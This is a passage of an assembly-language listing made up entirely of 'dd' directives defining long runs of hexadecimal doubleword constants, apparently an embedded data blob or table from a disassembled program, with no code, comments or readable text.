		dd 0F8928B0Ch, 0C2B2229Dh, 8784DF03h, 18521CD4h, 184B9F40h
		dd 2D003FCCh, 0E9369CDh, 0E2FFED4Fh, 5C1B01B3h,	9EEFE3CBh
		dd 0F846F0DEh, 9BF877ECh, 0BB013BF8h, 370C5367h, 0AC574D95h
		dd 2A826583h, 0E85434h,	8CF224ADh, 2D315E95h, 3FCAC52h
		dd 6254C909h, 0CDC00602h, 800AEB71h, 4C19C700h,	0D4CB5344h
		dd 98895155h, 7436BDFCh, 22842B38h, 37760824h, 0B747D744h
		dd 182C069Dh, 0C7EB081Ch, 4B96CD00h, 7ECA76Ch, 1FB30A72h
		dd 945591F6h, 89EDF467h, 0CD0CBF01h, 7956166Ch,	11C19085h
		dd 9DFC00ECh, 9CF60E88h, 4A138900h, 5348ADD5h, 0BF30946h
		dd 0CE508AA9h, 0D2BC5250h, 66BFF900h, 9ACE49E8h, 784100C5h
		dd 563BD3EFh, 2800DBB4h, 0AA8DFD18h, 6EC85C9Bh,	8127284Eh
		dd 213260C9h, 0C472AF38h, 0A7452200h, 0E8619F42h, 8A6E0CE0h
		dd 5F3041C8h, 0F247D000h, 219BAB71h, 0FD6C504Fh, 0B6FADBh
		dd 0E99E55DCh, 0AFB82B9Ah, 1B2A18C1h, 9BC954A9h, 7B5F8F0h
		dd 0C1C60B5Dh, 104F87CDh, 458E75D9h, 0FE0070DFh, 41EDC766h
		dd 0C5A3004Eh, 1A99CE33h, 0C8C05A19h, 0BE4DDBCh, 570D2B60h
		dd 55B38878h, 6D6B4B81h, 4881A007h, 7F15D8B2h, 0F4688043h
		dd 6CB74C78h, 0F136184Dh, 0F0C3E0CBh, 0A395C500h, 1A42288Ch
		dd 6BBB020Dh, 0CDB77BD4h, 62873490h, 3200B342h,	8CD29E3Ch
		dd 70C09149h, 6C638D41h, 9B0C01B0h, 0C12FBC8Bh,	0C8C04089h
		dd 0A24C1482h, 28CF1E34h, 3DA649C1h, 40E027EDh,	7D01853h
		dd 0EA48489Ch, 0BB54EC00h, 41D3C435h, 0E6BE03D9h, 0C1AC0D47h
		dd 83B7E0C9h, 4D570CE0h, 588B6C3h, 8F84757Eh, 0E15C02B9h
		dd 80A84F45h, 143240E8h, 330A0196h, 0C45D0C9Dh,	805E8F4Fh
		dd 0A512E26Eh, 407416DEh, 0C8BC9Ch, 20B1BE22h, 3ED27FDDh
		dd 0B860BC48h, 5B98BD8h, 0E003E441h, 19B1D892h,	1A71C02Ch
		dd 0EFA94DC3h, 804F0530h, 153FBA45h, 0E48B496Eh, 46D8C10Ch
		dd 0BC883848h, 0C9C21944h, 8072840h, 0EE533B3Ch, 456AD883h
		dd 0C98319AEh, 5F6B6919h, 18915880h, 0E81030ECh, 0C0C03A4Dh
		dd 616C5B38h, 0CD00E94Eh, 94239315h, 3DB4B0Ah, 1FB77D46h
		dd 0F19ABC9Bh, 94209C4Ah
		dd 24C0664Dh, 470092FEh, 0EF8349B7h, 3023B428h,	2BB15F6Fh
		dd 0BB011F0Eh, 3A9C6761h, 4C2059B5h, 0DC23505Ah, 242000CBh
		dd 0BA46ABC2h, 0F00F932h, 5DAFCEA3h, 92054BE2h,	93663878h
		dd 5E317D8Fh, 9F400382h, 0D71AC40h, 8000E8A6h, 46BBFF7Bh
		dd 0AB3427Ch, 0C5C6700Eh, 8DCE00A0h, 9B5AC4D1h,	12FCC752h
		dd 0F8445CF9h, 8F837E0Ch, 0DD82A049h, 326E3F4Ah, 5426A280h
		dd 0CBD6CDA7h, 9A1CA07Bh, 0FE5E2Fh, 652CF30Eh, 2947819Dh
		dd 85B0C863h, 2B2240Ch,	0A96C8EE4h, 7D0B88Eh, 2CF55AD3h
		dd 42AA1C20h, 4E912486h, 800D47E0h, 8C9B8F4Dh, 0FB1024EFh
		dd 6A9CC405h, 0B00013CDh, 224DB26Bh, 75170F48h,	59D20E6Fh
		dd 0E1ED80F0h, 0D271E806h, 87C42350h, 1F1E3100h, 3393C1B7h
		dd 0BBAD3E6Ch, 1DBE470Fh, 2CA15D00h, 0C63D326Fh, 21087D48h
		dd 1EC4AE80h, 7810CCC1h, 63608C11h, 372B0CD0h, 2C14A0F1h
		dd 288B0CB3h, 6C30C0E4h, 0B5D93Eh, 0A703C16Eh, 7E4AB9F2h
		dd 0C47E3Ch, 10F77DBFh,	5C6E0625h, 6D0089E8h, 4E9B452Bh
		dd 0E2249DD2h, 46A006DEh, 0A2F9FB6Ah, 0BC88EE09h, 808C0E5Bh
		dd 5CFFB64Eh, 3F127670h, 2D0056A0h, 5D60BEDDh, 0A027779h
		dd 32BFCD97h, 80E0654Bh, 9BAC7312h, 0A94C9CEEh,	437711F8h
		dd 6FE0D609h, 6D9228BBh, 4381C8AFh, 0E7B48D1Bh,	0A3343054h
		dd 4C8F2188h, 958238BDh, 8C40EE63h, 68914A82h, 0CF00F821h
		dd 3F38921Eh, 4A34C4Bh,	977F3520h, 4F0150C4h, 89A920C8h
		dd 2C9620DAh, 699328CDh, 0D8662889h, 0C1B5C820h, 7C61EFA4h
		dd 2F2BCAB1h, 8DAC40D2h, 40C32623h, 4BF70840h, 0FB0A4444h
		dd 29ED464Ch, 334F0322h, 0DE403E42h, 492C6022h,	6B07FCFBh
		dd 2924DA7h, 24605D40h,	5404982h, 85202404h, 5A0B0140h
		dd 4D9A8F67h, 6E003388h, 1ABA80CCh, 4D636C8Bh, 7448ACBDh
		dd 130944C0h, 8C59C3ADh, 0C130CF28h, 3C4BE4D2h,	3AB6C4D0h
		dd 0AC49F602h, 4F1B5D00h, 2A7561A1h, 8068204Ch,	661F82DCh
		dd 0C0472A6Ch, 114B0BCh, 9B84C91Ch, 0DE2133F3h,	0E7921468h
		dd 0A9599602h, 644EC3EAh, 0AE682024h, 73452412h, 16B92440h
		dd 4D8EEC8Dh, 28C468B1h, 751800B2h, 0AADFD06Ah,	0CA5049E4h
		dd 0E0A9D210h, 0ABDDB01Bh, 0AD983021h, 694B26F1h, 22F551C0h
		dd 7C4631F6h, 85C13A9Eh, 5C0EB795h, 83509F24h, 0A74A6C2Dh
		dd 20E728C0h, 159D5350h, 0C06AB924h, 0EC494C8Ah, 8D856C81h
		dd 0F020D126h, 0BCA4316Bh, 0FC362089h, 7415ADD2h, 7F6C23F0h
		dd 0F8629616h, 7F4A5020h, 19EF05CAh, 8CA0CF63h,	3014AB24h
		dd 909646h, 0DEC12CADh,	742208C6h, 182057E1h, 8140E98Fh
		dd 89C8B128h, 291C4E00h, 926DBA2h, 6F7C24A1h, 6D96C8h
		dd 23EDA7E0h, 0B80051AEh, 7040C1DBh, 27E0CAh, 5D16CE06h
		dd 0D0F2D2B7h, 0BE2F3B18h, 0EDD08E9h, 0E05E0B2h, 809F40F4h
		dd 6AC2F1E4h, 517D5F0h,	0C42CA7DAh, 0B36320F7h,	0DCB1182Ah
		dd 2F09617h, 5B6B002h, 0DCCA3E0h, 0A23F88C6h, 976B0E9Ah
		dd 504C8B5Dh, 84005A50h, 48CC8624h, 9C3840h, 0B220D8BDh
		dd 0C66B46BCh, 0C7377913h, 47691041h, 1824CF76h, 7FA7025Bh
		dd 3545A886h, 6FC6ECA0h, 462C26D2h, 173D6C83h, 0A0005520h
		dd 0B68EA015h, 0A6099F9h, 83A46C13h, 0E54E11B5h, 96BF3816h
		dd 738281Bh, 4AF12E0h, 0EE9AD133h, 0DAD042E6h, 18E80899h
		dd 0CDBA07FCh, 0C0D5AB12h, 8CCE99B6h, 0C0A4B103h, 0D07528B9h
		dd 220DB92h, 2D43CF82h,	20A13295h, 0FCC9BAECh, 0CA096C49h
		dd 81C57713h, 0B61E2470h, 701C60h, 0ECF80888h, 5B9B4EE5h
		dd 0D90C80B8h, 0E1AFFF9Ah, 576C07B0h, 0C4D8BE7Eh, 0B3FCC2E7h
		dd 220BD131h, 20B320h, 7E4D2C94h, 493169CFh, 9D283140h
		dd 8FABE842h, 367142D8h, 35C4E8EBh, 972094CDh, 2E885F40h
		dd 40428A6h, 499D9A96h,	5010904Bh, 7098330Dh, 3BCFDC01h
		dd 0BD9B9AC1h, 0E18F0A4h, 3E416B4Ah, 6059A3A2h,	1D30B997h
		dd 0E3C5F042h, 0D549CB9Bh, 19EDB002h, 0D0069489h, 9E00386Eh
		dd 5AC06C61h, 2858EE2h,	48B1BE0Ch, 891EEAFh, 6E0818B5h
		dd 9729406Eh, 20A40C20h, 2020EC9h, 9B5B333Dh, 16449EC4h
		dd 722CBF29h, 0C8C0E1D4h, 0B107B0FCh, 8DDE963Bh, 0DD9A5050h
		dd 19A57F4Dh, 38BB4ED1h, 0C2508ABh, 366ED42Fh, 0BC05CE61h
		dd 0AAC44948h, 0D89DD020h, 48C1F226h, 54DEC82Dh, 0F09A086h
		dd 86087E4Bh, 6DBB65CCh, 0A444E2B0h, 322804B8h,	7012A44Dh
		dd 4440AE59h, 888046AFh, 0B05D5C28h, 8EA25E02h,	8912A27h
		dd 0CE1048BDh, 2485E612h, 0B07C15h, 49F12CAh, 9026C693h
		dd 64E18F4h, 5CD9E89Eh,	1E18CF59h, 16498DDAh, 0EFFC20E8h
		dd 4BC05DC2h, 0A3DC717Ah, 382A0068h, 5B84A8C9h,	6D49C4FCh
		dd 0A96088D1h, 4E09DE00h, 8372A6AAh, 5A8400FCh,	0B5AEA4F6h
		dd 3513E078h, 1C1248C8h, 38B05000h, 98DE6C23h, 0F4BC3EB4h
		dd 0E668C57Ah, 9AB8C0FBh, 73135AF9h, 60810ABAh,	0B0264ED0h
		dd 0A727010h, 50182AE5h, 0C640D42Ch, 49A24432h,	0AC1344ECh
		dd 18E059B5h, 0E0B102AAh, 75BF0A91h, 301B09CDh,	10818663h
		dd 0E0A00B60h, 0C60C4BADh, 189543FFh, 0C7EC091Eh, 0C0C0A83Ah
		dd 332C3270h, 7E806C29h, 2C6273D9h, 48ED5920h, 0F1E6A00h
		dd 50E1EEA3h, 60F4A902h, 0E0ECE4A2h, 5C2FC40h, 0D4E56EDBh
		dd 0E3C02878h, 5B585E60h, 1C54450Dh, 619665h, 8B3063CDh
		dd 0BD093A94h, 5FF66DCh, 0A8886268h, 5F18A826h,	8830A548h
		dd 28025DB3h, 49058BD6h, 0C5F599C0h, 0E131F0h, 2E0AC778h
		dd 1809E20Eh, 8E9D1B18h, 0F89AD8h, 373028C9h, 0B5F31004h
		dd 0EC22AF00h, 61A0F4B0h, 0A840F844h, 0B841A40Ch, 941D4CACh
		dd 8657A88Bh, 0B1146D2h, 0A2F41BEFh, 0EDB1A880h, 3003FDDCh
		dd 54074213h, 381802BAh, 6E51BD5Ch, 0F3097078h,	0A09F2C35h
		dd 0CAD76AECh, 92CD75C9h, 0F7600A7Ch, 8AD8A0BEh, 86421h
		dd 44923CCAh, 0ACB9A70Eh, 25679328h, 1CD1BAA0h,	5880A5F7h
		dd 81B29A0Ch, 0DC4EEF9Dh, 234F0C40h, 1EE6CADAh,	22BF7CCh
		dd 512F341Fh, 2C304C40h, 40725F33h, 13E1A0A8h, 0B94C312Bh
		dd 0A84F82C8h, 1000008h, 0CFC5A26Eh, 0D0B7C05h,	0C6D81BEAh
		dd 8ED82820h, 4C0783C2h, 0EC181CB2h, 408F982Ch,	903526BCh
		dd 118118CBh, 0F45035B4h, 0E67ACEh, 45376DE0h, 8D449B63h
		dd 92606574h, 0E27EA121h, 0FDFEF47Bh, 83F4B041h, 2DB69040h
		dd 6E81C0B4h, 0A4110710h, 80BA8B2Ah, 657804E4h,	800297Bh
		dd 83AE3BEBh, 102756h, 217A956Dh, 4F500E74h, 0C824D970h
		dd 3200007Bh, 499F418Fh, 9EBA0089h, 6E6F374Dh, 5D00D121h
		dd 96C2290Eh, 76C6EAh, 816A8935h, 33993BE5h, 195E180Eh
		dd 0DD57C7A4h, 0AA432E97h, 0EF5CE041h, 3F9038Fh, 4B9CBE0Fh
		dd 21100830h, 36A942h, 0FF4611F3h, 51E5666Ah, 9A903790h
		dd 0D0351300h, 58620E07h, 0B8F2D9h, 0AEA04E79h,	0D7168396h
		dd 0E2573F00h, 91F70F3Ch, 0D5C100B8h, 83CF588Ah, 0FBF4AF75h
		dd 0C7319360h, 31D0B4Eh, 776C3315h, 468F6B16h, 0E00021B0h
		dd 15790B56h, 1F1D4499h, 0CB2DB7h, 492CAEA7h, 11EA184h
		dd 68336DF7h, 0DD381CA6h, 86C50F3Dh, 1BFCF60h, 9A017A03h
		dd 0B2D54273h, 0A2D0A555h, 0ADF04CDDh, 913BC201h, 9823D17Dh
		dd 0D0219E09h, 0F2DB03E4h, 0E1C28839h, 9197B891h, 6780B149h
		dd 393BB9DEh, 0E798448Ch
		dd 80DBDF3Ah, 0D38B03E9h, 3F578Ch, 0A13B976Fh, 50D417DEh
		dd 0E1BE7660h, 1208B847h, 6EAF31h, 6C524332h, 0DE00EAA5h
		dd 0D3FAA92Eh, 30508Eh,	0D1330B44h, 0CAE1744Ch,	5B078471h
		dd 0C6B5FA3Eh, 5536AC00h, 818214FBh, 0BE00C145h, 3CBF899Dh
		dd 9107CBBAh, 0E81B5005h, 0BB219990h, 0E34C0069h, 0FFF78761h
		dd 4007544h, 0E2DF8E2Dh, 39A8D15Fh, 0C200BE0Eh,	1E1F31B9h
		dd 13FC0638h, 64141700h, 29A35CCAh, 0D681001Ch,	7F48539Bh
		dd 0C7F44E21h, 31A65E00h, 38B5D790h, 81E6003Eh,	7EF69561h
		dd 20020ABh, 7040AA27h,	0B02C1Dh, 5606CF22h, 55CA4844h
		dd 0DE373B00h, 0B1192418h, 0D54B01C5h, 68FFAD5Bh, 3A44DCD0h
		dd 0C12F1527h, 29901E46h, 72828411h, 77426E48h,	388D2212h
		dd 2932F228h, 0B3781092h, 51807989h, 508D055Fh,	0A7E2E2E5h
		dd 0D0B09F03h, 0A8A6238Ch, 18802ECh, 56CDC70Ah,	0F0709987h
		dd 111C3D26h, 308055DAh, 6A80E773h, 191E0094h, 6CC49761h
		dd 391E5DA2h, 0CCC033C6h, 77179803h, 0EDD50040h, 0AB229336h
		dd 26008CDAh, 49622EBAh, 0D36164h, 0A399B620h, 7C0CDFD0h
		dd 0C3863Eh, 9C1A26F2h,	2E2183BEh, 3D32AFh, 2B94B2F9h
		dd 2701C047h, 3758141Ah, 12D9439Bh, 4F8F0C0h, 23557603h
		dd 79D8839Eh, 5C6F24A8h, 0B1C77500h, 5E57F61Fh,	0CFCCA088h
		dd 730C00D6h, 48E63FBDh, 6B008FC4h, 0D4E14D69h,	1A65A13h
		dd 7A3788C2h, 0E1858950h, 0F5708056h, 6A82AC64h, 0FE4FF804h
		dd 7FFC62h, 0A79E770Fh,	1174F8D5h, 6C00FE7Dh, 0F57A4FE1h
		dd 15176D7h, 7263FDDEh,	806EC0B5h, 1D916989h, 0BECBDBh
		dd 66B7112Ah, 0E3CC99C1h, 0A57D9A00h, 71FAD16Ch, 3D3B00E1h
		dd 8C92C57Eh, 0F7005022h, 0B42A2B77h, 61DFB99h,	0DD5E73D7h
		dd 970318F6h, 0ED761BABh, 9B1000F2h, 58D9C2C6h,	0C2901D42h
		dd 1373FE1Ch, 314561C7h, 18662920h, 0A1A800E6h,	69EB0B4Bh
		dd 0C300D808h, 71A04672h, 268A7568h, 31BA12Ah, 3CF64AA7h
		dd 0C6CF00DFh, 3900B242h, 0F999A5AEh, 781A3D15h, 34C94870h
		dd 807F8F00h, 0A17E699Eh, 60CCF351h, 130037D1h,	61EC065Bh
		dd 0F6DA2041h, 0C4B200FEh, 1263DD02h, 880E60A8h, 20A5F3D1h
		dd 514C7A79h, 0CC473DC6h, 0AD6D2303h, 9AA033BFh, 9B01762Bh
		dd 0F940515Bh, 0F2D8E391h, 0D4C526FBh, 0D2B41C16h, 0E8D40024h
		dd 4AFD059Ch, 925B7B00h, 53435C28h, 0A43B268Bh,	861C00F1h
		dd 0FFE74879h, 2A067200h, 0DD99F622h, 0BC0F00CAh, 4FF8DEE2h
		dd 9C099680h, 0BC60EEBh, 0BB5A0088h, 92F3E6h, 0B907BA77h
		dd 72D9E867h, 52CF5F0Ah, 8400A8A2h, 2DA40E8Dh, 0A85800C8h
		dd 6D516334h, 0E4010DC5h, 0E0D2B509h, 64D455FCh, 80100CEh
		dd 5EB21DA9h, 851FE406h, 100375F7h, 0A02E313Bh,	18EFA264h
		dd 0B49BDD78h, 0F84CE78Bh, 0E988001Ah, 8363950Ah, 1A7900C3h
		dd 2D3A11BFh, 0FA0E7D22h, 400C09C0h, 98B7A21Bh,	0D673003Dh
		dd 8B01A39h, 560005F5h,	0A116E33Bh, 261454h, 107F82A2h
		dd 6DFBD4DAh, 86F65D1Fh, 0D97736C0h, 88B964h, 1B2A0F46h
		dd 712D29A5h, 4EE2E701h, 0A62B7C83h, 30D496E0h,	1C10866Dh
		dd 0EC7AFB74h, 5DE8EF01h, 3CD939AFh, 2D17D4h, 525EB70Fh
		dd 1F8D2B8Ah, 0CA00DEB0h, 2CA043E3h, 0F185685h,	4C86D21Bh
		dd 8740052h, 6733E861h,	441F8824h, 35EC6400h, 31D012Fh
		dd 0FED28C7Eh, 0FA00C443h, 3C36176Ch, 839ABBh, 0C17D6945h
		dd 1350FC74h, 99E870Fh,	0B45F402Ch, 589836A8h, 0F8488561h
		dd 0A64E0079h, 69F68296h, 5A3AF752h, 3B1800C5h,	9D34B665h
		dd 620403C7h, 0AA42897Ch, 8DDF6B98h, 0E4FA538h,	4031C367h
		dd 27E0E338h, 0ACE403B9h, 398AC762h, 0F4FCD4B9h, 9303A547h
		dd 0A37DCC2Ch, 5CF49874h, 0DD5300E6h, 8325496Fh, 0D6007005h
		dd 0DC386E5Dh, 0F67695h, 7C7A1D90h, 5CE073F1h, 5FC3F4Ch
		dd 0C6101F2Bh, 60508C04h, 81E29580h, 9F7A0097h,	4FE52ABCh
		dd 0D6005DC7h, 51FD74C0h, 0A5892Dh, 0DDC4C521h,	4B997BDh
		dd 2B719A00h, 81F06E6Bh, 0E3E400A4h, 4CB896F8h,	8560ECE6h
		dd 1A535C90h, 1D860972h, 2900B28Fh, 16180989h, 5EB06C00h
		dd 0BC123D53h, 0A80600D0h, 76325887h, 0A50470E7h, 451F28FEh
		dd 3AEA0580h, 0AE4E059Dh, 0ABD5ECh, 42FE93B7h, 7CF0A20Fh
		dd 0DC90F500h, 723BD44Eh, 0B00700BEh, 0FA7448B3h, 0F5009597h
		dd 22E2F4CDh, 0F677523Ah, 19F8011Ch, 462CABE6h,	6CD0D394h
		dd 0F9F9CF09h, 0A51EC828h, 0BC3F1002h, 8027B733h, 55A9AB8Dh
		dd 28AF0030h, 4D427161h, 0F307EC4Eh, 44C3061Ah,	77F9AC90h
		dd 8335012Ch, 38479D87h, 92D8DF65h, 0A500AA40h,	8BA37467h
		dd 1CD0F50h, 12B33223h,	0F04D36BDh, 14B0494Eh, 9EFC9200h
		dd 0A9638B9Fh, 18606028h, 0EBA18735h, 562D8000h, 8499FA10h
		dd 0B07C16F6h, 7F1ACE5h, 4317F5A0h, 81F43C10h, 3E6A00D0h
		dd 0AFC0370Ah, 2E00770Dh, 0F5F8C423h, 39896915h, 71804A31h
		dd 4F6AA870h, 2E1D1E40h, 0ABC013B4h, 0B7B3A2DDh, 51300061h
		dd 9C347582h, 1B0005C8h, 29E40A79h, 90C5A3h, 0D1CD7094h
		dd 4B8C9FC9h, 8283C8C9h, 448D5777h, 0A49884h, 69264AA2h
		dd 47AE27C5h, 5895E400h, 15DDCE4Dh, 81A9006Bh, 21116F6Ch
		dd 0E900F1C9h, 4AE32BBBh, 469065h, 0E0EB3185h, 6F7D11C4h
		dd 94B4F900h, 0D62D8143h, 0F116008Fh, 25A11EFBh, 0EF0BB5A2h
		dd 87AE80E2h, 0D9D07730h, 43BCB4h, 3C39954Dh, 0F4933828h
		dd 308D0E01h, 254C6C0Ah, 0CA3380CFh, 71EFA040h,	37DA0786h
		dd 0F1AEC960h, 3013929Dh, 4C034948h, 5F2A615h, 0B308906Ch
		dd 2EC98A2h, 0E5B9763Dh, 9E603785h, 0E1F243A3h,	41818400h
		dd 545E7D4Fh, 0A1110002h, 0D98A55B1h, 1D4CA7FFh, 75D04C34h
		dd 99765F0Ch, 72C750A1h, 131A0BE5h, 8A064BEh, 592647C3h
		dd 165BC400h, 30A9AE6Dh, 3ADE0CEh, 0D35D924Ch, 0D8E08472h
		dd 0CA0F06DBh, 409AF974h, 580126DEh, 0A26803ECh, 57D4CE7Dh
		dd 0F1770498h, 90E6B400h, 8720AEE3h, 0B03CF0E7h, 395400A4h
		dd 7EE99919h, 7000FE2Fh, 27DF5C7Ch, 3F3822h, 0D59A2987h
		dd 4D6402E9h, 0D8064438h, 24D380A8h, 174C3C7h, 5BDFBBBh
		dd 60BA0B3Dh, 0DD38E9A4h, 64732C3Fh, 76F04900h,	0D552EEh
		dd 31FA8C0Ch, 0D3CDA00Dh, 8DF5EB07h, 0D053811Dh, 7720F05Eh
		dd 2D7A0307h, 0B8465D11h, 0BDEE0ED8h, 802C1739h, 76FF6C6Ah
		dd 1A3196h, 8492B4D4h, 9181143h, 7C558D05h, 76C0C9A5h
		dd 984CA930h, 0E6BC00D4h, 5A755CB4h, 0D13B73Dh,	0E000C65Fh
		dd 8DAD6BA2h, 8E03006Dh, 0F1D79157h, 20076A7Dh,	0EEDCDDFCh
		dd 0E40E1ED5h, 6B9FC094h, 21F880h, 81DBD787h, 579CDD8Fh
		dd 0C8F15Ch, 6C4E34Dh, 1EF41650h, 0E4C022AEh, 0D83C0068h
		dd 0DC68E910h, 8001C13Fh, 0B3A48B2Ah, 0B7439Bh,	718193D9h
		dd 7CB04F05h, 9D0E7500h, 0D001FD5Ah, 9A183DFEh,	0B571E402h
		dd 4450D268h, 8018B15Ch, 0BEFA1549h, 48BB0039h,	5D08634Eh
		dd 5800F1E6h, 88C94614h, 0CA84137h, 45914DECh, 0DE1CA478h
		dd 0ED80F6C2h, 5B895575h, 25E7EAD0h, 8C80065Fh,	74A1FC46h
		dd 0C7F57B04h, 5880FEBAh, 0B2C4294Dh, 63DA1280h, 678480C9h
		dd 8A00A6E1h, 0C46AEB5Bh, 9900C7Dh, 452E0DA2h, 80E8020h
		dd 23032787h, 0DE9D7CB1h, 991828B3h, 4E2F00E2h,	385CF385h
		dd 6E0F014Bh, 0C05B8B5Eh
		dd 0FDAE2540h, 0D80A0067h, 3B28F5B1h, 0F100472Fh, 0A6756ACBh
		dd 4D1F4954h, 8726C0B5h, 718305E6h, 2DC90FBh, 2B07C16Dh
		dd 0BE24DA0h, 71001267h, 9AA6B179h, 25F258h, 0BFF59ABEh
		dd 8252B59Ch, 9FC77202h, 60217491h, 1E2875Ch, 73E745D8h
		dd 20F47976h, 6600AB00h, 8EB8ED64h, 5AC9DCh, 3483C1BDh
		dd 0FA0F7605h, 2DC0ECB1h, 12451A75h, 0C0F264A9h, 0EF550904h
		dd 0FC962500h, 9ED35C54h, 99A72847h, 0E89B00E4h, 74EA21F6h
		dd 0F0013EC7h, 0F130AA62h, 8080674Dh, 0D16D7109h, 5C01B550h
		dd 7D97F484h, 5E789D79h, 40051913h, 6FB557A4h, 4F0F1573h
		dd 0A0908669h, 0ED36A226h, 0C8F30074h, 0A6E4A4Bh, 0E400CBE6h
		dd 0B54FD97Fh, 0B079FAh, 0F201C95Fh, 352AD27Ah,	0E4DFEC02h
		dd 0C032C4B3h, 1850C04h, 58B9F804h, 0F0DE776Eh,	8438B656h
		dd 39D00098h, 654857C1h, 60AF1655h, 0F37A02DAh,	3C60633Bh
		dd 8CE2CBC3h, 388E001h,	1E045FF0h, 38185C8h, 37EC6195h
		dd 0D2D8D7A6h, 6C009814h, 0BEA7963h, 0CE42CC8Ch, 0CF60ED9Ah
		dd 0B0753789h, 0DBE8201Dh, 220CC740h, 0D89E27h,	0F25F65B2h
		dd 0DAAF25BFh, 0A320BB60h, 2409ADCAh, 1FBCC238h, 2156D091h
		dd 0F61D84h, 7FAE6F5Dh,	0BF255092h, 70C80146h, 1FC1C701h
		dd 0C9207B10h, 9C00DC90h, 0D24DEA40h, 0AD2566h,	9901EEA9h
		dd 0FD12EC63h, 0D9AE4B1Eh, 6B021080h, 168C0FC5h, 7B6225Bh
		dd 60318054h, 0A320BE9Eh, 190A7D01h, 95F53BD3h,	0B07ADCFCh
		dd 355E858h, 79FCF7F0h,	5FE85DDAh, 900B1B2h, 0BF301275h
		dd 939E023h, 9CAA45A1h,	82F1C000h, 2E1EF568h, 3440EC43h
		dd 115E749Fh, 2F8E020Eh, 0F0457F4Bh, 0E0E55040h, 0D7A8300h
		dd 953B7110h, 9DBE3094h, 0B3A53048h, 0F8B4D600h, 54DC52C9h
		dd 81C30183h, 0B694BFD2h, 0E1DEECDFh, 0A3F60700h, 979DCAC2h
		dd 9E78007Ah, 0A332E55h, 2F07774Fh, 6E8207EEh, 7F848D40h
		dd 4570007Ch, 0E334BC65h, 0D10018EBh, 710367FAh, 3C049125h
		dd 0B381933Eh, 3B4A90A8h, 7CE03422h, 7E4B1600h,	5A71FE85h
		dd 8D63009Fh, 0AD43C03Eh, 0A400FC1Dh, 8489ECCFh, 96DA91h
		dd 75F73381h, 5698779Dh, 0BAD9BB1Eh, 5028DB81h,	1B208841h
		dd 42E209C7h, 0F84BD7B1h, 60372AE9h, 0E60068ACh, 6A8159BAh
		dd 0B47161h, 54385BE8h,	0B886E44Ah, 9A34DD00h, 126EFB26h
		dd 32C30BD5h, 3490B240h, 192CC195h, 0CB8030DAh,	31412F62h
		dd 0FE689008h, 580F00CCh, 944A6647h, 0D00EDF3Eh, 2B132AEh
		dd 509C199Dh, 1EE09FDCh, 4275BD4Eh, 0BF983201h,	756DB78h
		dd 0B0CCF434h, 9E8C5870h, 0D9E73200h, 0C5E3B0A4h, 20EBDB8h
		dd 0C0240383h, 0E49AC21h, 0FED20965h, 800EBCAh,	44291282h
		dd 9301F8ECh, 6F3EF34Ah, 0E8FFAB5Ch, 6BAE70h, 1599F6B9h
		dd 0C1B349B6h, 0C4467600h, 77720E07h, 828B000Bh, 744CC845h
		dd 0EA1FAD63h, 5626147Fh, 0E1ACBE00h, 84381Bh, 559BE445h
		dd 0FD141C15h, 34BAAD00h, 0CB369D58h, 0D0C16033h, 0E5D2D73Bh
		dd 2E7E8924h, 0A40A41Ch, 0D8434718h, 62670044h,	8909DDB2h
		dd 15001917h, 0F56EFC31h, 90F2E05Ch, 0BECCE3AAh, 0C31E004Fh
		dd 3520E492h, 0C51C4385h, 0A100600Ah, 6CFD9B96h, 72DA0052h
		dd 0EF4957Ch, 5E0450DBh, 0D8567539h, 0C2F8B4E5h, 347E1632h
		dd 0B51841AFh, 611F53B9h, 9FB1DCB1h, 0FE061000h, 24EE8276h
		dd 7FFB003Fh, 0FF69A037h, 9B0078AEh, 0A230C254h, 34FE04Bh
		dd 60184DFh, 0E38893A7h, 0BB0FB30Bh, 412FC5D8h,	2D6C91BEh
		dd 0FA83AD8h, 0C030A4BDh, 0FE703E00h, 5173E15Dh, 0AB593800h
		dd 0F2C2C5DDh, 0EE0526BEh, 33BC28B4h, 6D5C6CEDh, 53E062C8h
		dd 6048B607h, 71F0A874h, 1E6842h, 9A172AD4h, 890D6173h
		dd 0FAE925h, 0E22741E8h, 0A4B90136h, 60749B24h,	0D90FFC1Bh
		dd 917F5200h, 2136F0DDh, 0CD6E009Ch, 60CBB254h,	0DBFEEEAFh
		dd 130FE302h, 483DE9A1h, 73A53454h, 841C0937h, 70A0EF7Ah
		dd 2AF358DEh, 3F472D02h, 7F238907h, 791CABE0h, 80F27D39h
		dd 5040CB14h, 2903E7h, 0AD414549h, 0C7A7A2B1h, 1C1AC024h
		dd 4CAF9E87h, 7CB704Ch,	0CCC17B76h, 0C3A44786h,	291F1B7Fh
		dd 67E06E37h, 0F16C1851h, 355CBC2Dh, 9860F2F4h,	210C981Fh
		dd 8A5576Ah, 0C2B233C3h, 1000A620h, 4A3672FEh, 3E8072Ah
		dd 192610A8h, 0B0F75A3Eh, 99A7F74h, 0C7914961h,	71801B4Eh
		dd 3A4DE6A4h, 7898698Bh, 0D43C5B51h, 67007F79h,	0C61F0C82h
		dd 1D3528D2h, 9D4E76D0h, 0E43E80EAh, 0FAD59497h, 40C0F600h
		dd 560D1C01h, 103F005Bh, 0D96D3B69h, 5700B1E0h,	0AC254546h
		dd 0F7DD7A4h, 6BDCE3E6h, 58AEC0FEh, 633A667Fh, 1851BF00h
		dd 4BC1D4B5h, 0EE520070h, 0ACC06ACEh, 620414B6h, 74B0B34Fh
		dd 4968D2C0h, 0DC8F0B82h, 0AC212FB7h, 702BADA8h, 3002581h
		dd 924A9E35h, 1F8C6D19h, 5AC722h, 0FAD66761h, 0A40070E0h
		dd 53D8F08h, 0F9E2F456h, 9ADDF8h, 7D7226ACh, 0A3D3BF03h
		dd 81D51D27h, 117EEFB6h, 48D2D320h, 0BD0002A6h,	33D9C826h
		dd 2701669Eh, 1AF8DD98h, 0F4501743h, 0EE54B9h, 6AEF42BEh
		dd 0E2C0C965h, 4A393A1Ch, 0CAB703FEh, 0A1E43D4h, 0DA4D2031h
		dd 37C082D8h, 0CCA0D6C6h, 4FE59CDBh, 0FD75F900h, 8D8F93C7h
		dd 380A4C2h, 0C116F522h, 600CB7Ch, 10A49C03h, 24E682h
		dd 0D62DB623h, 3A55AFC5h, 6778D000h, 0E2A564FFh, 7DE10EBBh
		dd 0EB60B72Dh, 7A5F3E32h, 0FEA1720Fh, 0A5001FF0h, 77AA9640h
		dd 95E4B2h, 9D8DF1B3h, 0C02CB69Bh, 8666283Bh, 94D788BEh
		dd 0BC734429h, 1AC68D03h, 91E2357Ch, 9BD40521h,	0F0DB0091h
		dd 80D059D4h, 0F1007C4Fh, 128FEF02h, 0DA0DFEh, 0B5856D05h
